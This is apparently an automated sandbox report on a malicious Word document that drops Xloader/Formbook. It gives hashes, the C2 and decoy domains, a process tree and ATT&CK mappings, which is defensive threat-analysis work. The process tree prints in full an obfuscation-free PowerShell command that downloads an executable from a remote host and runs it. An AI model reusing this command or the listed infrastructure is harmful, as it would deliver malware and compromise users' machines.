Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    04-03-2021 15:57

General

  • Target

    Iraqi Supply Documents.doc

  • Size

    267KB

  • MD5

    174339ee0b1d50af956d16c7608a787e

  • SHA1

    70f7dda70f239b16afcd1e7818075237c53abbc5

  • SHA256

    9e9f12d14bd6918e39116f6a1c8017ecf3cd93a37c760b67175c0332d429526e

  • SHA512

    f7a7c1ff8cb032582f8695cb927e1429d8b355547b67a96dfb8834fd43e8891bd6a660c70935c910ba0ee2cb1f20a8d83bc42aab04db310b85fbadab8897527a

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://bppgov.ng/gotv.exe

Extracted

Family

xloader

C2

http://www.pardsoda.com/w25t/

Decoy

nowayinlocksmith.com

bookaprovider.com

joybirder.com

decoracerrado.com

preciousmonments.com

96kixx.com

parentseducationalco-op.com

cbdandbtc.com

santanadeliciasymas.com

finecharlottehomes.com

themanibox.com

backupasia.com

buffalodetailstore.com

iprdo.com

croce-komeko.com

bluechipsgroup.company

truyencow.com

globalism.online

oicrafts.com

naturalawakeningsprograms.com

Signatures

  • Xloader

    Xloader is a rebranded version of Formbook malware.

  • Xloader Payload 2 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 7 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 26 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1256
    • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
      "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Iraqi Supply Documents.doc"
      2⤵
      • Drops file in Windows directory
      • Modifies Internet Explorer settings
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1188
      • C:\Windows\splwow64.exe
        C:\Windows\splwow64.exe 12288
        3⤵
          PID:1852
      • C:\Windows\SysWOW64\msdt.exe
        "C:\Windows\SysWOW64\msdt.exe"
        2⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:560
        • C:\Windows\SysWOW64\cmd.exe
          /c del "C:\Users\Admin\AppData\Local\Temp\Wb.exe"
          3⤵
            PID:1404
      • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
        "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
        1⤵
        • Launches Equation Editor
        • Suspicious use of WriteProcessMemory
        PID:680
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c PowerShell "try{$xcHZX=$env:temp+'\Wb.exe'; (New-Object System.Net.WebClient).DownloadFile( 'http://bppgov.ng/gotv.exe', $xcHZX);(New-Object -com Shell.Application).ShellExecute( $xcHZX);}catch{}"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1140
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            PowerShell "try{$xcHZX=$env:temp+'\Wb.exe'; (New-Object System.Net.WebClient).DownloadFile( 'http://bppgov.ng/gotv.exe', $xcHZX);(New-Object -com Shell.Application).ShellExecute( $xcHZX);}catch{}"
            3⤵
            • Blocklisted process makes network request
            • Loads dropped DLL
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:688
            • C:\Users\Admin\AppData\Local\Temp\Wb.exe
              "C:\Users\Admin\AppData\Local\Temp\Wb.exe"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Drops file in System32 directory
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:956
              • C:\Users\Admin\AppData\Local\Temp\Wb.exe
                "C:\Users\Admin\AppData\Local\Temp\Wb.exe"
                5⤵
                • Loads dropped DLL
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of AdjustPrivilegeToken
                PID:812

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Execution

      Exploitation for Client Execution

      1
      T1203

      Defense Evasion

      Modify Registry

      1
      T1112

      Command and Control

      Web Service

      1
      T1102

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\Wb.exe
        MD5

        1da73d4931cd6893f7b9fc765225a62d

        SHA1

        cdc4992d5e425628b1c12c51d64a9105824bacc5

        SHA256

        12e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d

        SHA512

        fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18

      • C:\Users\Admin\AppData\Local\Temp\Wb.exe
        MD5

        1da73d4931cd6893f7b9fc765225a62d

        SHA1

        cdc4992d5e425628b1c12c51d64a9105824bacc5

        SHA256

        12e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d

        SHA512

        fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18

      • C:\Users\Admin\AppData\Local\Temp\Wb.exe
        MD5

        1da73d4931cd6893f7b9fc765225a62d

        SHA1

        cdc4992d5e425628b1c12c51d64a9105824bacc5

        SHA256

        12e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d

        SHA512

        fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18

      • \Users\Admin\AppData\Local\Temp\Wb.exe
        MD5

        1da73d4931cd6893f7b9fc765225a62d

        SHA1

        cdc4992d5e425628b1c12c51d64a9105824bacc5

        SHA256

        12e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d

        SHA512

        fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18

      • \Users\Admin\AppData\Local\Temp\Wb.exe
        MD5

        1da73d4931cd6893f7b9fc765225a62d

        SHA1

        cdc4992d5e425628b1c12c51d64a9105824bacc5

        SHA256

        12e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d

        SHA512

        fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18

      • \Users\Admin\AppData\Local\Temp\Wb.exe
        MD5

        1da73d4931cd6893f7b9fc765225a62d

        SHA1

        cdc4992d5e425628b1c12c51d64a9105824bacc5

        SHA256

        12e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d

        SHA512

        fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18

      • \Users\Admin\AppData\Local\Temp\Wb.exe
        MD5

        1da73d4931cd6893f7b9fc765225a62d

        SHA1

        cdc4992d5e425628b1c12c51d64a9105824bacc5

        SHA256

        12e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d

        SHA512

        fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18

      • \Users\Admin\AppData\Local\Temp\Wb.exe
        MD5

        1da73d4931cd6893f7b9fc765225a62d

        SHA1

        cdc4992d5e425628b1c12c51d64a9105824bacc5

        SHA256

        12e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d

        SHA512

        fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18

      • \Users\Admin\AppData\Local\Temp\Wb.exe
        MD5

        1da73d4931cd6893f7b9fc765225a62d

        SHA1

        cdc4992d5e425628b1c12c51d64a9105824bacc5

        SHA256

        12e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d

        SHA512

        fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18

      • memory/560-62-0x00000000000C0000-0x00000000000E9000-memory.dmp
        Filesize

        164KB

      • memory/560-58-0x0000000000000000-mapping.dmp
      • memory/560-61-0x00000000007B0000-0x00000000008A4000-memory.dmp
        Filesize

        976KB

      • memory/560-63-0x0000000002160000-0x0000000002463000-memory.dmp
        Filesize

        3.0MB

      • memory/560-64-0x0000000001ED0000-0x0000000001F5F000-memory.dmp
        Filesize

        572KB

      • memory/680-7-0x00000000759F1000-0x00000000759F3000-memory.dmp
        Filesize

        8KB

      • memory/688-14-0x0000000004830000-0x0000000004831000-memory.dmp
        Filesize

        4KB

      • memory/688-11-0x000000006B8E0000-0x000000006BFCE000-memory.dmp
        Filesize

        6.9MB

      • memory/688-26-0x000000007EF30000-0x000000007EF31000-memory.dmp
        Filesize

        4KB

      • memory/688-27-0x00000000057A0000-0x00000000057A1000-memory.dmp
        Filesize

        4KB

      • memory/688-34-0x0000000006250000-0x0000000006251000-memory.dmp
        Filesize

        4KB

      • memory/688-35-0x00000000062F0000-0x00000000062F1000-memory.dmp
        Filesize

        4KB

      • memory/688-20-0x0000000005640000-0x0000000005641000-memory.dmp
        Filesize

        4KB

      • memory/688-17-0x0000000005280000-0x0000000005281000-memory.dmp
        Filesize

        4KB

      • memory/688-16-0x0000000002670000-0x0000000002671000-memory.dmp
        Filesize

        4KB

      • memory/688-15-0x0000000004832000-0x0000000004833000-memory.dmp
        Filesize

        4KB

      • memory/688-9-0x0000000000000000-mapping.dmp
      • memory/688-25-0x00000000056F0000-0x00000000056F1000-memory.dmp
        Filesize

        4KB

      • memory/688-13-0x0000000004870000-0x0000000004871000-memory.dmp
        Filesize

        4KB

      • memory/688-12-0x0000000002360000-0x0000000002361000-memory.dmp
        Filesize

        4KB

      • memory/812-56-0x000000001E7D0000-0x000000001E7E0000-memory.dmp
        Filesize

        64KB

      • memory/812-54-0x0000000000401000-0x0000000000541000-memory.dmp
        Filesize

        1.2MB

      • memory/812-49-0x00000000004018E4-mapping.dmp
      • memory/812-51-0x00000000001B0000-0x00000000002B0000-memory.dmp
        Filesize

        1024KB

      • memory/812-55-0x000000001E8D0000-0x000000001EBD3000-memory.dmp
        Filesize

        3.0MB

      • memory/956-45-0x0000000000430000-0x000000000043B000-memory.dmp
        Filesize

        44KB

      • memory/956-41-0x0000000000000000-mapping.dmp
      • memory/1140-8-0x0000000000000000-mapping.dmp
      • memory/1188-2-0x00000000730B1000-0x00000000730B4000-memory.dmp
        Filesize

        12KB

      • memory/1188-4-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Filesize

        64KB

      • memory/1188-3-0x0000000070B31000-0x0000000070B33000-memory.dmp
        Filesize

        8KB

      • memory/1256-57-0x0000000007580000-0x0000000007716000-memory.dmp
        Filesize

        1.6MB

      • memory/1404-60-0x0000000000000000-mapping.dmp
      • memory/1732-53-0x000007FEF7E30000-0x000007FEF80AA000-memory.dmp
        Filesize

        2.5MB

      • memory/1852-6-0x000007FEFC4D1000-0x000007FEFC4D3000-memory.dmp
        Filesize

        8KB

      • memory/1852-5-0x0000000000000000-mapping.dmp